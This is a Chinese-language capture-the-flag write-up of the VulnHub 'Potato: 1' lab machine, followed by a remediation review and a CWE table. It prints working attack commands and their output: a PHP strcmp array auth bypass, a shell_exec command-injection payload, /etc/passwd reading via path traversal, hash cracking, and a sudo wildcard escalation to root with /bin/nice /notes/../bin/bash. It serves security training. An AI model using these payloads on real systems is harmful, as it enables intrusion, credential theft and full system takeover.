VulnHub Potato: 1 通关记录|FTP 源码泄露、PHP strcmp 绕过与 sudo 通配符提权
靶机链接:Potato: 1
本文从匿名 FTP 暴露的 PHP 备份源码入手,依次完成认证绕过、命令注入、凭据恢复和 sudo 通配符路径穿越提权。
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Potato: 1 | 192.168.1.111 |
目标: 获得 root 权限,捕获两个 flag 文件。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache、2112/tcp ProFTPD | 明确 FTP 与 Web 是主要攻击面 |
| 信息泄露 | 匿名 FTP index.php.bak | 暴露 PHP 源码、硬编码密码、strcmp 逻辑 |
| Auth 绕过 | username[]=admin&password[]=foo | strcmp 数组入参返回 NULL,NULL==0 为真 |
| 命令注入 | file=log_01.txt; <cmd> | shell_exec() 直接拼接触发 RCE |
| 凭据窃取 | LFI 读取 /etc/passwd | webadmin 密码哈希 $1$webadmin$... 外泄 |
| 密码破解 | John / MD5 crypt + rockyou | webadmin:dragon |
| 初始访问 | SSH webadmin@192.168.1.111 | 获取 user flag |
| Root 提权 | sudo /bin/nice /notes/../bin/bash | 通配符路径穿越 → root shell |
0x02 侦察与信息收集 (Reconnaissance)
1. 连通性确认
ping -c 3 192.168.1.111
输出:
3 packets transmitted, 3 received, 0% packet loss
rtt min/avg/max/mdev = 0.472/0.851/1.609/0.535 ms
2. RustScan 联动 Nmap
按策略先用 RustScan 快速覆盖全端口,再联动 Nmap 做服务识别:
rustscan -a 192.168.1.111 --ulimit 5000 --range 1-65535 -t 2000 -- -sV -sC -oN nmap-initial.txt
RustScan 首轮输出:
Open 192.168.1.111:22
Open 192.168.1.111:80
Open 192.168.1.111:2112
联动 Nmap 复核后的服务摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 |
80/tcp | HTTP | Apache httpd 2.4.41 (Ubuntu),标题 "Potato company" |
2112/tcp | FTP | ProFTPD,允许匿名登录 |
MAC 地址 08:00:27:E7:AD:3D 注册为 Oracle VirtualBox,确认为虚拟机靶机。操作系统为 Linux (Ubuntu)。
3. FTP 匿名访问
Nmap 已自动探测 ftp-anon 脚本,输出中可见:
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg
下载两个文件:
wget -r --ftp-user=anonymous --ftp-password="" ftp://192.168.1.111:2112/ -P ftp-files/
文件清单:
| 文件 | 大小 | 价值 |
|---|---|---|
index.php.bak | 901 B | 高 — PHP 源码备份,暴露完整登录逻辑 |
welcome.msg | 54 B | 低 — 标准 FTP 欢迎信息 |
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. index.php.bak 源码审计
cat ftp-files/192.168.1.111:2112/index.php.bak
关键代码段:
$pass = "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 &&
strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> ...</p>";
}
exit();
}
三个发现:
| 漏洞 | 细节 | 风险 |
|---|---|---|
| 硬编码密码 | $pass = "potato" | 密码直接在源码中,注释还写着"定期改" |
strcmp() 类型混淆 | 数组入参 → 返回 NULL → NULL == 0 为真 | 认证完全绕过 |
shell_exec() 无过滤 | dashboard.php 中日志功能直接拼接用户输入 | RCE |
| 备份文件泄露 | .bak 保留在 FTP 匿名目录 | 将全部 Web 逻辑暴露给攻击者 |
strcmp() 在 PHP 中的行为:比较字符串返回 int;但传入数组时触发 Warning 并返回 NULL。在弱类型比较 (==) 中 NULL == 0 为 TRUE。因此 username[]=admin&password[]=foo 即可绕过登录。
2. Web 目录爆破
gobuster dir -u http://192.168.1.111/ -w /usr/share/wordlists/dirb/common.txt -t 30
输出:
/admin (Status: 301)
/index.php (Status: 200)
前台 index.php 只是一个施工中页面("Potato company" + 土豆图片)。真正的登录入口在 /admin/。
0x04 核心攻击链:strcmp 绕过与命令注入
1. Auth 绕过
利用 strcmp() 类型混淆,将 username 和 password 作为数组发送:
curl -s -L -c cookies.txt \
'http://192.168.1.111/admin/index.php?login=1' \
-d 'username[]=admin&password[]=foo'
响应:
Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>
同时返回 Set-Cookie:pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh。认证绕过成功。
2. 后台功能枚举
携带 cookie 访问 dashboard,发现四个子页面:
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=users'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=date'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=log'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=ping'
| 页面 | 后端操作 | 用户输入可控? |
|---|---|---|
?page=users | 硬编码输出 "Admin" | 否 |
?page=date | shell_exec("date") | 否 |
?page=log | shell_exec("cat logs/" . $_POST['file']) | 是 — 命令注入 |
?page=ping | shell_exec("ping 8.8.8.8 -c 3") | 否(IP 硬编码) |
3. 命令注入验证
curl -s -b cookies.txt \
'http://192.168.1.111/admin/dashboard.php?page=log' \
--data-urlencode 'file=log_01.txt; id'
输出:
Contenu du fichier log_01.txt; id :
Operation: password change
Date: January 03, 2020 / 11:25 a.m.
User: admin
Status: OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认 RCE,当前身份 www-data。
shell_exec("cat logs/" . $_POST['file']) 没有任何输入过滤,分号后直接注入任意系统命令。
0x05 凭据窃取与初始访问
1. 读取 /etc/passwd
curl -s -b cookies.txt \
'http://192.168.1.111/admin/dashboard.php?page=log' \
--data-urlencode 'file=../../../../../etc/passwd'
关键行:
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
注意 webadmin 的第二个字段不是 x,而是完整的密码哈希 $1$webadmin$3sXBxGUtDGIFAcnNTNhi6/。这说明系统未启用 shadow 密码保护,或该账户的密码字段被手动写入。
2. 密码哈希破解
哈希格式为 MD5 crypt(前缀 $1$),使用 John the Ripper 配合 rockyou 字典:
echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=md5crypt
结果:
dragon (?)
1g 0:00:00:00 DONE 100.0g/s 38400p/s 38400c/s 38400C/s
凭据:webadmin:dragon
3. SSH 初始访问
sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no webadmin@192.168.1.111 'id'
输出:
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
4. User Flag
sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no \
webadmin@192.168.1.111 'cat /home/webadmin/user.txt'
输出:
TGUgY29udHLDtGxlIGVzdCDDoCBwZXUgcHLDqHMgYXVzc2kgcsOpZWwgcXXigJl1bmUg
Base64 解码:
echo '...' | base64 -d
Flag 1:
Le contrôle est à peu près aussi réel qu'une
0x06 权限提升 (Privilege Escalation)
1. sudo 枚举
sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 'echo dragon | sudo -S -l 2>&1'
输出:
Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*
关键发现: webadmin 可以以 root 身份运行 /bin/nice,但只能作用于 /notes/* 路径。/notes/ 目录内容如下:
| 文件 | 权限 | 所有者 |
|---|---|---|
clear.sh | -rwx------ (11 B) | root:root |
id.sh | -rwx------ (8 B) | root:root |
目录权限 drwxr-xr-x root:root,webadmin 无写入权限。
2. 漏洞分析
nice 命令语法:
nice [OPTION] [COMMAND [ARG]...]
sudo 规则中的 /notes/* 是通配符。理想情况下只应匹配 /notes/ 目录下的文件。但 sudo 的通配符匹配发生在路径解析之前。攻击者可以利用 .. 进行路径穿越:
/notes/../bin/bash
↑
解析后变为 /bin/bash
由于 /notes/.. 仍然以 /notes/ 开头,sudo 的通配符规则匹配成功。nice 收到 /bin/bash 作为 COMMAND 参数后,以 root 身份启动一个 shell。
3. 提权利用
sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 \
'echo dragon | sudo -S /bin/nice /notes/../bin/bash -c "id; whoami"'
输出:
uid=0(root) gid=0(root) groups=0(root)
root
提权成功,获得 root shell。
4. Root Flag
sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 \
'echo dragon | sudo -S /bin/nice /notes/../bin/bash -c "cat /root/root.txt"'
输出:
bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==
Base64 解码:
echo '...' | base64 -d
Flag 2:
licorne unijambiste qui fuit au bout d'un double arc-en-ciel.
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/webadmin/user.txt - 权限:
webadmin:root 600 - 内容:
Le contrôle est à peu près aussi réel qu'une
Root Flag
- 路径:
/root/root.txt - 权限:
root:root 600 - 内容:
licorne unijambiste qui fuit au bout d'un double arc-en-ciel.
完整句子:
Le contrôle est à peu près aussi réel qu'une licorne unijambiste qui fuit au bout d'un double arc-en-ciel.
复盘总结
这台靶机的攻击链体现了经典的"信息泄露 → 源码审计 → 代码漏洞 → 凭据窃取 → 配置失误"路径。
-
FTP 匿名访问是入口。 一个看似无害的
index.php.bak把整个 Web 应用的登录逻辑、密码和漏洞全部暴露。生产环境中备份文件绝不应留在可公开访问的位置,更不应保留可执行的.php.bak扩展名。 -
strcmp()是 PHP 经典型混淆。 数组参数绕过是 PHP 弱类型比较的教科书案例。改用===严格比较或hash_equals()可彻底规避。 -
shell_exec()命令注入是本靶机最严重漏洞。 将$_POST['file']直接拼接到 shell 命令中没有任何过滤。应使用escapeshellarg()并对用户输入做白名单校验。 -
密码哈希不应出现在
/etc/passwd。 现代 Linux 系统通过/etc/shadow隔离敏感哈希。webadmin 的哈希直接写入 passwd 文件,任何能读该文件的用户都能离线爆破。且密码dragon在 rockyou 字典中排名极靠前,John 秒级即破。 -
sudo 通配符规则需要严格审计。
/bin/nice /notes/*的*未考虑路径穿越。应使用精确匹配(如/bin/nice /notes/id.sh)或限制命令参数(如nice本身不应允许../出现在参数中)。sudo 的NOEXEC标签或 AppArmor 配置也可作为纵深防御手段。 -
横向视角。 webadmin 虽非 sudo 组成员,但一条过于宽松的 sudo 规则直接送出了 root。这也提醒我们 sudo 规则的审计不应只关注
(ALL) ALL,每一个通配符都可能是一扇后门。
漏洞清单
| # | 漏洞 | 严重程度 | CWE |
|---|---|---|---|
| 1 | FTP 匿名访问允许读取备份文件 | High | CWE-276 |
| 2 | 备份文件泄露 PHP 源码与凭据 | High | CWE-540 |
| 3 | PHP strcmp() 类型混淆认证绕过 | Critical | CWE-697 |
| 4 | shell_exec() 命令注入 | Critical | CWE-78 |
| 5 | 密码哈希在 /etc/passwd 中外泄 | Medium | CWE-256 |
| 6 | 弱密码 dragon | Medium | CWE-521 |
| 7 | sudo 通配符路径穿越提权 | High | CWE-22 |